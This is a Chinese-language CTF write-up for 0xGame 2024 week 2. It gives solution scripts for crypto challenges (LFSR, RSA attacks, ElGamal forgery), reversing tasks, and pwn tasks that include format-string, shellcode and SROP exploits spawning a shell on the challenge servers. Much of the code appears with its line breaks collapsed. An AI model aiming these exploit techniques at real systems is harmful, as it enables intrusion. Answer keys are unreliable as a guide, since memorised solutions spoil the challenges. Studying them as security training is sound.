当前位置: 首页 > news >正文

[0xGame 2024] week2

CPR有一个题没完成。今天看到的WP,真是不会。

Crypto

LFSR-easy

LFSR求mask 给了3个连续的值。LFSR本身可以看作一个矩阵乘法。数据够多可以直接除回来。

from random import getrandbits
from secret import flag,Mask_seed
from hashlib import md5def MD5(m):return md5(str(m).encode()).hexdigest()class LFSR:def __init__(self, Mask_seed, Length):self.Length = Lengthassert Mask_seed.bit_length() < self.Length + 1self.seed  = 165943427582675380464843619836793254673 #getrandbits(self.Length)self.state = self.init_state(self.seed)self.mask  = self.init_state(Mask_seed)def init_state(self, seed):result = [int(i) for i in bin(seed)[2:]]PadLenth = self.Length - len(result)result += [ 0 ] * PadLenthassert len(result) == self.Lengthreturn resultdef next(self):output = 0for i in range(self.Length):output ^= self.state[i] & self.mask[i] self.state  =  self.state[ 1: ] + [output]return outputdef getrandbits(self,Length):result = []for _ in range(Length):result.append(str(self.next()))return int(''.join(result),2)assert Mask_seed.bit_length() == 128
test = LFSR(Mask_seed,128)
print(test.seed)
print(test.getrandbits(128))
print(test.getrandbits(128))assert flag == '0xGame{' + MD5(Mask_seed) + '}'
'''
c0 = 165943427582675380464843619836793254673
c1 = 299913606793279087601607783679841106505
c2 = 192457791072277356149547266972735354901
'''
'''
c0 = 165943427582675380464843619836793254673
c1 = 299913606793279087601607783679841106505
c2 = 192457791072277356149547266972735354901
'''#left*mask = right
c = ''.join([bin(i)[2:].zfill(128) for i in [c1,c2]])
c = [int(i) for i in c]
left = matrix(GF(2),[c[i:i+128] for i in range(128)])
right = matrix(GF(2),[c[i+128:i+129] for i in range(128)])
M = left.solve_right(right)mask = int(''.join([str(i[0]) for i in M]) ,2)

LFSR-baby

同上,这回是求种子

from random import getrandbits
from secret import flag,seed
from hashlib import md5def MD5(m):return md5(str(m).encode()).hexdigest()class LFSR:def __init__(self, seed, Length):self.Length = Lengthassert seed.bit_length() < self.Length + 1self.Mask_seed  = 245818399386224174743537177607796459213self.state = self.init_state(seed)self.mask  = self.init_state(self.Mask_seed)def init_state(self, seed):result = [int(i) for i in bin(seed)[2:]]PadLenth = self.Length - len(result)result += [ 0 ] * PadLenthassert len(result) == self.Lengthreturn resultdef next(self):output = 0for i in range(self.Length):output ^= self.state[i] & self.mask[i] self.state  =  self.state[ 1: ] + [output]return outputdef getrandbits(self,Length):result = []for _ in range(Length):result.append(str(self.next()))return int(''.join(result),2)assert seed.bit_length() == 128
test = LFSR(seed,128)
print(test.Mask_seed)
print(test.getrandbits(128))
print(test.getrandbits(128))assert flag == '0xGame{' + MD5(seed) + '}'
'''
245818399386224174743537177607796459213
103763907686833223776774671653901476306
136523407741230013545146835206624093442
'''
'''
245818399386224174743537177607796459213
103763907686833223776774671653901476306
136523407741230013545146835206624093442
'''mask = 245818399386224174743537177607796459213
mask = [int(i) for i in bin(mask)[2:].ljust(128,'0')]
M = matrix(GF(2), 128)
for i in range(127):M[i+1,i]=1 
for i in range(128):M[i,-1] = mask[i]v1 = 103763907686833223776774671653901476306
v1 = vector(GF(2), [int(i) for i in bin(v1)[2:].ljust(128,'0')])M2 = M^128
seed = M2.solve_left(v1)
seed = M.solve_left(seed)ss = int(''.join(map(str,seed)),2)
MD5(ss)
#030ec00de18ceb4ddea5f6612d28bf39

Diffie-Hellman

看上去是DH算法,给了g,q和A的公钥(g^a mod q),要求输入B的公钥,然后给出用b^a mod q加密的flag。这里直接输入g作为B的公钥,那么得到结果就是给出的A公钥。

#!/usr/local/bin/python
from Crypto.Util.number import isPrime, getPrime
from string import ascii_letters, digits
from Crypto.Cipher import AES
from hashlib import sha256
from random import randint
from random import choice
from hashlib import md5
from os import urandomfrom secret import flagdef MD5(m):return md5( str(m).encode() ).digest()def gen(bit_length): while True:q = getPrime(bit_length)p = 2*q + 1if isPrime(p):g = randint(2,p-1)if (pow(g,2,p) != 1) & (pow(g,q,p) != 1):breakreturn q,gdef proof_of_work():proof = ''.join([choice(ascii_letters+digits) for _ in range(20)])_hexdigest = sha256(proof.encode()).hexdigest()print(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}")x = input('[+] Plz tell me XXXX: ')if len(x) != 4 or sha256( (x+proof[4:]).encode() ).hexdigest() != _hexdigest:return Falsereturn Trueassert proof_of_work()q,g = gen(128)
print(f'Share (q,g) : {q,g}')
Alice_PriKey = randint(1, q)
Alice_PubKey = pow(g, Alice_PriKey, q)
print(f'Alice_PubKey : {Alice_PubKey}')Bob_PubKey = int( input("[+] Give me the Bob_PubKey\n> ") )
print(f'Bob_PubKey : {Bob_PubKey}')Share_Key = pow(Bob_PubKey, Alice_PriKey, q)
Cipher = AES.new(MD5(Share_Key), AES.MODE_ECB)
ct = Cipher.encrypt(flag)
print(f'Alice tell Bob : {ct.hex()}')

RSA-IV

这题一共4小题:

1是低加密指数且m很小,直接iroot开根号

2是dp泄露e很小,这个跟d泄露一个道理。爆破k (e*dp = 1 + k*(p-1))

3低解密指数,d很小e很大,(e*d =  1  + k*phi )这里的phi与N接近(前半基本相同)e/N约等于k/d(k,d都很小,N误差的那些不影响)通过连分式得到d,k

4是模攻击,同一个m有两个互质的e和对应的c 

from Crypto.Util.number import getPrime, inverse, bytes_to_longdef challenge0(m):p = getPrime(150)q = getPrime(150)N = p * qe = 3c = pow(m, e, N)return (N, e, c)def challenge1(m):p = getPrime(64)q = getPrime(64)N = p * qe = 0x10001dp = inverse(e, p-1)c = pow(m, e, N)return (N, e, c, dp)def challenge2(m):p = getPrime(64)q = getPrime(64)N = p * qphi = (p-1) * (q-1)d = getPrime(21)e = inverse(d, phi)c = pow(m, e, N)return (N, e, c)def challenge3(m):p = getPrime(64)q = getPrime(64)N = p * qe = getPrime(127)c = pow(m, e , N)e_= getPrime(127)c_= pow(m, e_, N)return (N, e, c, e_, c_)
from pwn import *
from hashlib import md5,sha256
import string 
from Crypto.Cipher import AES
from Crypto.Util.number import *
from gmpy2 import invert,gcd,iroot,gcdextcontext.log_level='debug'def MD5(m):return md5( str(m).encode() ).digest()def proof_of_work_2(suffix, hash): # sha256, suffix, known_hashtable = string.digits + string.ascii_lettersdef judge(x): return sha256( x.encode()+suffix).digest().hex() == hashreturn util.iters.bruteforce(judge, table,length=4, method = 'fixed')#3
def transform(x,y):res = []while y:res.append(x//y)x,y = y,x%yreturn resdef continued_fraction(res):numerator,denominator = 1,0for i in res[::-1]:denominator,numerator = numerator,i*numerator+denominatorreturn numerator,denominatordef wiener_attack(res,n):print("Attack start...")for i in range(1,len(res)):ress = res[:i]d = continued_fraction(ress)[1]if d.bit_length() == 21:return d#4
def rsa_gong_N_def(e1,e2,c1,c2,n):  #共模攻击函数e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)print("e1,e2:",e1,e2)s = gcdext(e1, e2)print("mpz:",s)s1 = s[1]s2 = s[2]if s1 < 0:s1 = - s1c1 = invert(c1, n)elif s2 < 0:s2 = - s2c2 = invert(c2, n)m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % nreturn int(m)p = remote('118.195.138.159', 10003)#proof
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recv(16)
p.recvuntil(b" == ")
md5v = p.recvline().strip().decode()head = proof_of_work_2(tail, md5v)
p.sendlineafter(b'[+] Plz tell me XXXX: ', head.encode())#1
p.sendlineafter(b'[+] input choice:\n>', b'0')
N,e,c = eval(p.recvline())
m = iroot(c,3)[0]
p.sendlineafter(b'>', str(m).encode())#2 dp泄露
p.sendlineafter(b'[+] input choice:\n>', b'1')
N,e,c,dp = eval(p.recvline())for k in range(1, e):r = (e*dp-1)if (e*dp-1)%k == 0:tp = gcd(N, r//k+1)tq = N//tpif tp != 1:m = pow(c,invert(e,(tp-1)*(tq-1)),N)break p.sendlineafter(b'>', str(m).encode())#3, 
p.sendlineafter(b'[+] input choice:\n>', b'2')
N,e,c = eval(p.recvline())res = transform(e,N)
d = wiener_attack(res,N)
m = pow(c,d,N)
p.sendlineafter(b'>', str(m).encode())#4
p.sendlineafter(b'[+] input choice:\n>', b'3')
N,e1,c1,e2,c2 = eval(p.recvline())m = rsa_gong_N_def(e1,e2,c1,c2,N)
p.sendlineafter(b'>', str(m).encode())p.recvline()
p.interactive()

 

RC4

RC加密,RC4是个流加密,先用key生成加密流,再与明文异或得到密文,随便拿个已知明文得到密文就能得到加密流。这里输入是16进制,可以直接输入0得到加密流与密文异或即可。

Elgamal

这个一时不会,看WP才明白。

Elgamal是DSA签名的前身,签名是 r=g^k,s=k^-1*(m-d*r) 验是g^m = y^r*r^s 

这里的漏洞在于输入的r,s没有限制。当构造一个明文m'时可以计算出u=m'*m^-1 ,则左边等于g^m^u 然后右边也给它弄成(y^r*r^s)^u的形式,得到r' = u*r mod q-1, s'=u*s mod q-1, r'=r mod q 

这3个式子中1,3两式由中国剩余定理求出r' = crt([q-1,q],[u*r,r]) 这里的r没有限制,可以大于q所以可以即等于这个又等于那个。

from pwn import remote,context,util
from hashlib import md5,sha256
import string 
from Crypto.Cipher import AES
from Crypto.Util.number import *
from gmpy2 import invert,gcd,iroot,gcdextcontext.log_level='debug'import gmpy2
def crt(n, a):sum = 0prod = 1for ni in n:prod *= nifor ni, ai in zip(n, a):p = prod // nigcd, x, y = gcdext(p, ni)sum += ai * x * preturn sum % proddef MD5(m):return md5( str(m).encode() ).digest()def proof_of_work_2(suffix, hash): # sha256, suffix, known_hashtable = string.digits + string.ascii_lettersdef judge(x): return sha256( x.encode()+suffix).digest().hex() == hashreturn util.iters.bruteforce(judge, table,length=4, method = 'fixed')p = remote('118.195.138.159', 10002)#proof
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recv(16)
p.recvuntil(b" == ")
md5v = p.recvline().strip().decode()head = proof_of_work_2(tail, md5v)
p.sendlineafter(b'[+] Plz tell me XXXX: ', head.encode())'''
hint:设原消息哈希后的值为m,伪造消息哈希后的值为m' ,其中m'和m已知,m' = m*u mod(p-1),将m'代入验签函数中,构造签名。签名
r = g^k mod q 
s = (m - d*r)*k^-1 mod q 验签
B = g^m mod q 
A = y^r * r^s mod q 令m1 = u*m,r1=u*r, s1=u*s mod (q-1)
且需 r1 = r mod (q)r2 = crt([u*r,r], [q-1,q])
'''p.recvuntil(b"My Public Key (q,g,y):")
q,g,y = eval(p.recvline())p.recvuntil(b"And the msg signatue (r,s):")
r,s = eval(p.recvline())m0 = int(sha256(b'Welcome_to_0xGame2024_Crypto').hexdigest(),16)
msg = b'A'
m1 = int(sha256(msg).hexdigest(),16)u = m1 * invert(m0,q-1)
r1 = crt([q-1,q],[u*r,r])
s1 = s*u%(q-1)p.sendlineafter(b'[+] Give me your message:\n>', msg.hex().encode())
p.sendlineafter(b'[+] Give me your r:\n>', str(r1).encode())
p.sendlineafter(b'[+] Give me your s:\n>', str(s1).encode())
p.recvuntil(b"The input msg : ")
msg = p.recvline().strip().decode()

PWN

boom

secret来自于os.random,比较用的strcmp,当secret第1个字符为0时,输入0就能通过比较。爆破!

ez_format

格式化字符串,先获取flag地址,再输出

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')p = remote('47.97.58.52', 42001)
#p = process('./pwn')p.sendafter(b"Say something:", b"%17$p\0")
p.recvuntil(b'0x')
flag = int(p.recv(12), 16) - 0x12f7 + 0x40c0p.sendafter(b"Say something:", b"%7$s    "+p64(flag))p.interactive()

fmt2shellcode

先给key写上数再输入shellcode

ret2libc

先puts(got)再system(binsh)

shellcode-lv0

从一个随机位置开始执行,所以shellcode 尽量靠尾部,前边填nop

shellcode-lv1

这个需要ORW,ORW会比较长,但随机数也可以够长,多试几次。或者写个read 10字节以内就能实现。再读入shellcode执行。

from pwn import *
context(arch='amd64',log_level = 'debug')p = remote('47.97.58.52', 42013)
#p = process('./pwn')shellcode = asm('push rax;pop rdi;push rdx; pop rsi;push r11;pop rdx; syscall;')p.sendafter(b"Show me what you want to run: ", shellcode.rjust(0x100,b'\x90'))shellcode = shellcraft.open('flag') + shellcraft.read(3,'rsp',0x50) + shellcraft.write(1, 'rsp', 0x50)
p.send(b'\x90'*100+asm(shellcode))
sleep(0.5)
p.sendline(b'cat flag')p.interactive()

srop-2024

先移栈到bss, 然后通过输出15个字符得到rax然后执行syscall后边是frame恢复寄存器。

from pwn import *
context(arch='amd64',log_level = 'debug')elf = ELF('./pwn')syscall = 0x40100a
bss = 0x402000 + 0x400p = remote('47.97.58.52', 42011)
#p = process('./pwn')
#gdb.attach(p, "b*0x401072\nc")#mov stack
frame = SigreturnFrame()
frame.rsp = bss
frame.rip = 0x401021p.sendafter(b'Hello> ', (b'A'*15).ljust(0x50, b'\0')+ p64(syscall)+ flat(frame))#execve
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss - 0x48
frame.rsi = 0
frame.rsp = bss+0x100
frame.rip = syscallp.sendafter(b'Hello> ', b'12345678/bin/sh\0'.ljust(0x50, b'\0')+ p64(syscall)+ flat(frame))p.interactive()

syscall-playground-2024

先写入/bin/sh再输入59和bin/sh的地址

REV

BabyUPX

upx -d xxx 高低4位互换

EzJar

jadx-gui打开

public class EzJar {static String Alphabat = "0123456789abcdef";private static String encrypt(String str) {StringBuilder sb = new StringBuilder();for (int i = 0; i < str.length(); i++) {int indexOf = Alphabat.indexOf(str.charAt(i));if (indexOf < 0) {sb.append(str.charAt(i));} else {sb.append(Alphabat.charAt(((indexOf * 5) + 3) % 16));}}return sb.toString();}public static void main(String[] strArr) {System.out.println("请以uuid的格式输入你的flag内容:");Scanner scanner = new Scanner(System.in);String nextLine = scanner.nextLine();scanner.close();if (encrypt(nextLine).equals("ab50e920-4a97-70d1-b646-cdac5c873376")) {System.out.println(String.format("验证成功: 0xGame{%s}", nextLine));} else {System.out.println("验证失败");}}
}
a = "0123456789abcdef"
b = ''.join([a[(a.index(i)*5+3)%16] for i in a])c = "ab50e920-4a97-70d1-b646-cdac5c873376"
d = ''
for i in c:if i in a:d+=a[b.index(i)]else:d+=i

 

EzPyc

Ciallo~ md5再移位

Xor_Random

windows的c的随机数,可以动调,或者用ctypes直接调起求

from ctypes import *
from pwn import p64enc = [0x1221164E1F104F0C, 0x171F240A4B10244B, 0x1A2C5C2108074F09,99338668810000]
enc = b''.join([p64(i) for i in enc])clibc = cdll.LoadLibrary("msvcrt.dll")
clibc.srand(0x77)
clibc.rand()
v21 = clibc.rand()&0xffm = []
for i in range(30):if i&1 != 0:v8 = v21else:v8 = v21+3m.append(enc[i]^v8)print(bytes(m))#r4nd0m_i5_n0t_alw4ys_'Random'!

ZzZ

z3求解

from z3 import *a,b,c = BitVecs('a b c', 32)
s = Solver()
s.add(a*14+b*11-c == 0x48FB41DDD)
s.add(a*9-3*b+4*c == 0x2BA692AD7)
s.add(((c - b) >> 1) + (a ^ 0x87654321) == 3451779756)s.check()
#sat
s.model()
#[b = 862073908, a = 842086455, c = 1681208161]
long_to_bytes(842086455)[::-1]
#b'7812'
long_to_bytes(862073908)[::-1]
#b'44b3'
long_to_bytes(1681208161)[::-1]
#b'a35d'#0xD085A85201A4
#0xE544267D
#0xGame{e544267d-7812-44b3-a35d-d085a85201a4}


http://www.mrgr.cn/news/54941.html

相关文章:

  • 火山引擎数智平台 VeDI:A/B 实验互斥域流量分配体系上线
  • 微信小程序用开发工具在本地真机调试可以正常访问摄像头,发布了授权后却无法访问摄像头,解决方案
  • vulnhub靶场之JOY
  • 嵌软面试一百问(持续更新中)
  • Java中的异常Throwable
  • 时序图中的工厂方法角色分析
  • Maple :一款强大的计算软件,广泛应用于数学、工程、物理和其他科学领域
  • OpneCV与dlib-换脸
  • 搭建LeNet-5神经网络,并搭建自己的图像分类训练和测试的模板,模板通用!!!均有详细注释。
  • SOD-YOLOv8 - 增强YOLOv8以在交通场景中检测小目标
  • 线程的同步
  • 二、Linux 入门教程:开启大数据领域的神奇之旅
  • 【Linux】从多线程同步到生产者消费者模型:多线程编程实践
  • Qml-Item的Id生效范围
  • Java集合剖析2】Java集合底层常用数据结构
  • 利士策分享,财富多少,才是恰到好处?
  • 推荐一款多功能理科计算器:Math Resource Studio Pro
  • WPF入门_03路由事件
  • 数据结构(C语言):顺序表
  • WPF 回到主线程
  • Egg.js 项目的合理 ESLint 配置文件模板
  • 锁的原理以及使用
  • 《知道做到》
  • 【MySQL核心面试题】MySQL 核心 - Explain 执行计划详解!
  • 如何用AI大模型提升挖洞速度
  • upload-labs Pass-04